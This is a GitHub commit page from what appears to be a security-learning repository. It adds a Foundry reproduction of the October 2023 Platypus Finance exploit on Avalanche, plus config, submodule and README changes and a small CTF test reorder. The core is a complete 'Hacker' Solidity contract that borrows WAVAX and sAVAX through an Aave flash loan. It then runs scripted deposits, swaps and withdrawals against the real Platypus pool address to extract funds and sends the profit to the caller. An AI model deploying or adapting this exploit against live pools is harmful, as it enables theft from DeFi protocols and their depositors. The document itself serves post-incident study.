Skip to content

Commit

Permalink
Platypus
Browse files Browse the repository at this point in the history
  • Loading branch information
6boris committed Oct 27, 2023
1 parent 33175dd commit ad77375
Show file tree
Hide file tree
Showing 9 changed files with 315 additions and 7 deletions.
6 changes: 6 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
Expand Up @@ -106,3 +106,9 @@
[submodule "foundry/lib/@solmate"]
path = foundry/lib/@solmate
url = https://github.com/transmissions11/solmate
[submodule "foundry/lib/aave-v3-core"]
path = foundry/lib/aave-v3-core
url = https://github.com/aave/aave-v3-core
[submodule "foundry/lib/aave-v3-periphery"]
path = foundry/lib/aave-v3-periphery
url = https://github.com/aave/aave-v3-periphery
9 changes: 9 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -96,3 +96,12 @@ ELEVATE YOUR EVM EXPERTISE WITH HANDS-ON CHALLENGES, COMPETE ON THE LEADERBOARD,
| | [11.DIVERSION](https://onlypwner.xyz/challenges/4) | ... | ... | ... |
| | [12.PAYDAY](https://onlypwner.xyz/challenges/11) | ... | ... | ... |


## Hacking Analysis

Provide some Web3 Hack event analysis backtracking.

| Hack | Victim | Video | Note |
| :------------------------------------------------------- | :--: | :---: | :--: |
| [20231012 - Platypus](https://mirror.xyz/leekdev.eth/RYeKmdl1rkds5IwKTw2Wnr8zLzEDug02xseUZ_wMwvA)|[Victim contract](https://snowtrace.io/address/0x4658EA7e9960D6158a261104aAA160cC953bb6ba),[Exploit transaction](https://snowtrace.io/tx/0xab5f6242fb073af1bb3cd6e891bc93d247e748a69e599a3744ff070447acb20f) | ... | ... |

252 changes: 252 additions & 0 deletions contracts/Hack/20231012-Platypus.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,252 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { console2 } from "@dev/forge-std/src/console2.sol";
import { WETH } from "@solady/tokens/WETH.sol";
import { FlashLoanReceiverBase } from "@aave/v3-core/flashloan/base/FlashLoanReceiverBase.sol";
import { IPoolAddressesProvider } from "@aave/v3-core/interfaces/IPoolAddressesProvider.sol";

/*
https://snowtrace.io/tx/0xab5f6242fb073af1bb3cd6e891bc93d247e748a69e599a3744ff070447acb20f
https://snowtrace.io/address/0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789 #code
forge test --match-path foundry/test/Hack/20231012-Platypus.t.sol -vvvvv
*/

interface IAavePool {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata interestRateModes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
)
external;
}

// https://github.com/platypus-finance/core
interface IPlatypusAsset {
function balanceOf(address account) external view returns (uint256);
function pool() external view returns (address);
function underlyingToken() external view returns (address);
function underlyingTokenBalance() external view returns (uint256);
function cash() external view returns (uint256);
function liability() external view returns (uint256);
function totalSupply() external view returns (uint256);
}

// https://snowtrace.io/address/0x2b2c81e08f1af8835a78bb2a90ae924ace0ea4be
interface IBenqiSAVAX {
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function deposit() external payable;
function withdraw(uint256 amount) external;
}

interface IPlatypusPool {
function assetOf(address token) external view returns (address);
function deposit(
address token,
uint256 amount,
address to,
uint256 deadline
)
external
returns (uint256 liquidity);
function withdraw(
address token,
uint256 liquidity,
uint256 minimumAmount,
address to,
uint256 deadline
)
external
returns (uint256 amount);
function swap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 minimumToAmount,
address to,
uint256 deadline
)
external
returns (uint256 actualToAmount, uint256 haircut);
}

contract Hacker is FlashLoanReceiverBase {
/*
Platypus Pool sAVAX
https://snowtrace.io/address/0x4658ea7e9960d6158a261104aaa160cc953bb6ba
https://docs.platypus.finance/platypus-finance-docs/security-and-contracts/contract-addresses
*/
IPlatypusPool private poolSAvax = IPlatypusPool(0x4658EA7e9960D6158a261104aAA160cC953bb6ba);
IPlatypusAsset private poolAssetWAVAX;
IPlatypusAsset private poolAssetSAVAX;
/*
Wrapped AVAX (WAVAX)
https://snowtrace.io/address/0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7
*/

WETH private WAVAX = WETH(payable(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7));
/*
Staked AVAX (sAVAX)
https://snowtrace.io/address/0x2b2c81e08f1af8835a78bb2a90ae924ace0ea4be
https://vscode.blockscan.com/avalanche/0x0ce7f620eb645a4fbf688a1c1937bc6cb0cbdd29
*/
IBenqiSAVAX private SAVAX = IBenqiSAVAX(payable(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE));

/*
Aave: Pool V3 FlashLoan
https://snowtrace.io/address/0x794a61358d6845594f94dc1db02a252b5b4814ad
*/
IAavePool private aavePoolV3 = IAavePool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);

address[] private _assets;
uint256[] private _amounts;
uint256[] private _interestRateModes;
// https://snowtrace.io/address/0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb#code
address private poolAddressesProvider = 0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb;
address private attacker;

constructor() FlashLoanReceiverBase(IPoolAddressesProvider(poolAddressesProvider)) {
poolAssetWAVAX = IPlatypusAsset(poolSAvax.assetOf(address(WAVAX)));
poolAssetSAVAX = IPlatypusAsset(poolSAvax.assetOf(address(SAVAX)));
console2.log("poolAssetWAVAX", address(poolAssetWAVAX), "poolAssetAVAX", address(poolAssetSAVAX));
attacker = msg.sender;
_log("constructor");
}

function attack() public payable {
_log("Before_Attack1");
uint256 _aaveWAVAX = WAVAX.balanceOf(address(aavePoolV3));
uint256 _attackerWAVAX = WAVAX.balanceOf(address(this));
uint256 _attackerSAVAX = SAVAX.balanceOf(address(this));
uint256 _LP_WAVAX = WAVAX.balanceOf(address(poolAssetWAVAX));
uint256 _LP_SAVAX = SAVAX.balanceOf(address(poolAssetSAVAX));

SAVAX.approve(address(aavePoolV3), type(uint256).max);
WAVAX.approve(address(aavePoolV3), type(uint256).max);
SAVAX.approve(address(poolSAvax), type(uint256).max);
WAVAX.approve(address(poolSAvax), type(uint256).max);

// flashLoan
_assets.push(address(WAVAX));
_assets.push(address(SAVAX));
_amounts.push(1_100_000 * 1e18);
_amounts.push(991_589_030_408_934_949_444_991);
_interestRateModes.push(0);
_interestRateModes.push(0);
_log("Before_flashLoan");
aavePoolV3.flashLoan(address(this), _assets, _amounts, _interestRateModes, address(this), "", 0);
_log("After_flashLoan");

// deal attack profit
poolSAvax.swap(address(SAVAX), address(WAVAX), 20_090 ether, 0, address(this), block.timestamp + 1000);
WAVAX.withdraw(WAVAX.balanceOf(address(this)));

_log("After_Attack");
console2.log();
console2.log("AAVE WAVAX Incr", (WAVAX.balanceOf(address(aavePoolV3)) - _aaveWAVAX) / 1e18);
console2.log("Attacker WAVAX Incr", (WAVAX.balanceOf(address(this)) - _attackerWAVAX) / 1e18);
console2.log("Attacker SAVAX Incr", (SAVAX.balanceOf(address(this)) - _attackerSAVAX) / 1e18);
console2.log("LP_WAVAX WAVAX Decr", (_LP_WAVAX - SAVAX.balanceOf(address(poolAssetWAVAX))) / 1e18);
console2.log("LP_WAVAX SAVAX Decr", (_LP_SAVAX - SAVAX.balanceOf(address(poolAssetSAVAX))) / 1e18);

(bool isSuccess,) = msg.sender.call{ value: address(this).balance }("");
require(isSuccess, "");
}

function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata,
address,
bytes calldata
)
external
override
returns (bool)
{
uint256 dTime = block.timestamp + 1000;
require(assets.length == 2, "assets not equal");
_log("Enter_FlashLoan");

poolSAvax.deposit(address(WAVAX), amounts[0], address(this), dTime);
poolSAvax.deposit(address(SAVAX), amounts[1] / 3, address(this), dTime);
_log("After_Deposit");

(uint256 actualToAmount, uint256 haircut) =
poolSAvax.swap(address(SAVAX), address(WAVAX), 600_000 ether, 0, address(this), dTime);
_log("swap(SAVAX,WAVAX,600_000)");
console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18);

uint256 amount = poolSAvax.withdraw(address(WAVAX), 1_020_000 ether, 0, address(this), dTime);
_log("withdraw(WAVAX,1_020_000)");
console2.log("poolSAvax.withdraw amount:%d ", amount / 1e18);

(actualToAmount, haircut) =
poolSAvax.swap(address(WAVAX), address(SAVAX), 1_400_000 ether, 0, address(this), dTime);
_log("swap(WAVAX,SAVAX,1_400_000)");
console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18);

amount = poolSAvax.withdraw(address(WAVAX), poolAssetWAVAX.balanceOf(address(this)), 0, address(this), dTime);
_log("withdraw(WAVAX,poolAssetWAVAX.balanceOf(address(this)))");
console2.log("poolSAvax.withdraw amount:%d ", amount / 1e18);

(actualToAmount, haircut) =
poolSAvax.swap(address(SAVAX), address(WAVAX), 700_000 ether, 0, address(this), dTime);
_log("swap(SAVAX,WAVAX,700_000)");
console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18);

amount = poolSAvax.withdraw(address(SAVAX), poolAssetSAVAX.balanceOf(address(this)), 0, address(this), dTime);
_log("withdraw(SAVAX,poolAssetSAVAX.balanceOf(address(this)))");
console2.log("poolSAvax.withdraw amount:%d ", amount / 1e18);

(actualToAmount, haircut) =
poolSAvax.swap(address(SAVAX), address(WAVAX), 70_000 ether, 0, address(this), dTime);
_log("swap(SAVAX,WAVAX,70_000)");
console2.log("poolSAvax.swap actualToAmount:%d haircut:%d", actualToAmount / 1e18, haircut / 1e18);

return true;
}

function _log(string memory _msg) public view {
console2.log();
console2.log("-----------%s-----------", _msg);
console2.log("Attacker Address: %s AVAX: %d", attacker, address(this).balance / 1e18);
console2.log(
"Attacker WAVAX: %d SAVAX: %d", WAVAX.balanceOf(address(this)) / 1e18, SAVAX.balanceOf(address(this)) / 1e18
);
console2.log(
"Platypus Assets WAVAX asset.totalSupply: %d , asset.cash: %d , asset.liability: %d",
poolAssetWAVAX.totalSupply() / 1e18,
poolAssetWAVAX.cash() / 1e18,
poolAssetWAVAX.liability() / 1e18
);
console2.log(
"Platypus Assets SAVAX asset.totalSupply: %d , asset.cash: %d , asset.liability: %d",
poolAssetSAVAX.totalSupply() / 1e18,
poolAssetSAVAX.cash() / 1e18,
poolAssetSAVAX.liability() / 1e18
);

console2.log(
"Platypus Assets Cash/liability WAVAX:%d Liability WAVAX:%d",
poolAssetWAVAX.cash() * poolAssetWAVAX.liability() / 1e45,
poolAssetSAVAX.cash() * poolAssetSAVAX.liability() / 1e45
);
console2.log(
"Platypus Assets Cash WAVAX*SAVA:%d Liability WAVAX*SAVA:%d",
poolAssetWAVAX.cash() * poolAssetSAVAX.cash() / 1e45,
poolAssetWAVAX.liability() * poolAssetSAVAX.liability() / 1e45
);
console2.log("Attacker Platypus Pool LP-WAVAX", poolAssetWAVAX.balanceOf(address(this)) / 1e18);
console2.log("Attacker Platypus Pool LP-sAVAX", poolAssetSAVAX.balanceOf(address(this)) / 1e18);
// console2.log();
}

receive() external payable { }
}
7 changes: 5 additions & 2 deletions foundry.toml
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@
out = "foundry/out"
broadcast = 'foundry/broadcast'
cache_path = 'foundry/cache'


[profile.ci]
fuzz = { runs = 10_000 }
Expand Down Expand Up @@ -52,7 +52,7 @@
goerli = "https://eth-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
sepolia = "https://eth-sepolia.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
holesky = "https://ethereum-holesky.publicnode.com"

polygon = "https://polygon-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
mumbai = "https://polygon-mumbai.g.alchemy.com/v2/${API_KEY_ALCHEMY}"

Expand All @@ -65,3 +65,6 @@
optimism_mainnet = "https://opt-mainnet.g.alchemy.com/v2/${API_KEY_ALCHEMY}"
optimism_goerli = "https://opt-goerli.g.alchemy.com/v2/${API_KEY_ALCHEMY}"


avalanche_mainnet = "https://rpc.ankr.com/avalanche"
avalanche_fuji = "https://rpc.ankr.com/avalanche_fuji"
1 change: 1 addition & 0 deletions foundry/lib/aave-v3-core
Submodule aave-v3-core added at 6070e8
1 change: 1 addition & 0 deletions foundry/lib/aave-v3-periphery
Submodule aave-v3-periphery added at 72fdcc
11 changes: 6 additions & 5 deletions foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,10 @@ contract Challenge_11_Backdoor_Test is Test {
WalletRegistry private walletRegistry;

function setUp() public {
vm.label(alice, "alice");
vm.label(bob, "bob");
vm.label(charlie, "charlie");
vm.label(david, "david");
vm.deal(deployer, type(uint256).max);
_before();
// vm.stopPrank();
Expand All @@ -43,20 +47,17 @@ contract Challenge_11_Backdoor_Test is Test {
walletFactory = new GnosisSafeProxyFactory();
token = new DamnValuableToken();

vm.label(alice, "alice");
vm.label(bob, "bob");
vm.label(charlie, "charlie");
vm.label(david, "david");
_initialBeneficiaries.push(alice);
_initialBeneficiaries.push(bob);
_initialBeneficiaries.push(charlie);
_initialBeneficiaries.push(david);

walletRegistry =
new WalletRegistry(address(masterCopy),address(walletFactory), address(token), _initialBeneficiaries);
assertEq(walletRegistry.owner(), deployer, "");

token.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED);

assertEq(walletRegistry.owner(), deployer, "");
for (uint256 i = 0; i < _initialBeneficiaries.length; i++) {
assertTrue(walletRegistry.beneficiaries(_initialBeneficiaries[i]), "");
vm.startPrank(_initialBeneficiaries[i]);
Expand Down
33 changes: 33 additions & 0 deletions foundry/test/Hack/20231012-Platypus.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Test } from "@dev/forge-std/src/Test.sol";
// import { console2 } from "@dev/forge-std/src/console2.sol";
import { Hacker } from "@contracts/Hack/20231012-Platypus.sol";

/*
forge test --match-path foundry/test/Hack/20231012-Platypus.t.sol -vvvvv
*/

contract Platypus_Attacker_20231012_Test is Test {
// hacking attack address
address private player = address(1);

function setUp() public {
// vm.deal(player, 10_000 ether);
vm.createSelectFork({ urlOrAlias: "avalanche_mainnet", blockNumber: 36_341_514 });
// vm.createSelectFork({ urlOrAlias: "avalanche_mainnet" });

vm.label(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7, "Wrapped AVAX");
vm.label(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE, "Staked AVAX");

vm.label(0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789, "LP-SAVAX");
vm.label(0xC73eeD4494382093C6a7C284426A9a00f6C79939, "LP-AVAX");
}

function test_Exploit() public {
vm.startPrank(player);
Hacker hackInst = new Hacker();
hackInst.attack();
}
}
2 changes: 2 additions & 0 deletions remappings.txt
Original file line number Diff line number Diff line change
Expand Up @@ -13,3 +13,5 @@
@openzeppelin/contracts-v4.7.3=foundry/lib/@openzeppelin/contracts-v4.7.3/contracts
@openzeppelin/contracts-upgradeable-v4.7.1=foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1/contracts

@aave/v3-core=foundry/lib/aave-v3-core/contracts
@aave/v3-periphery=foundry/lib/aave-v3-periphery/contracts

0 comments on commit ad77375

Please sign in to comment.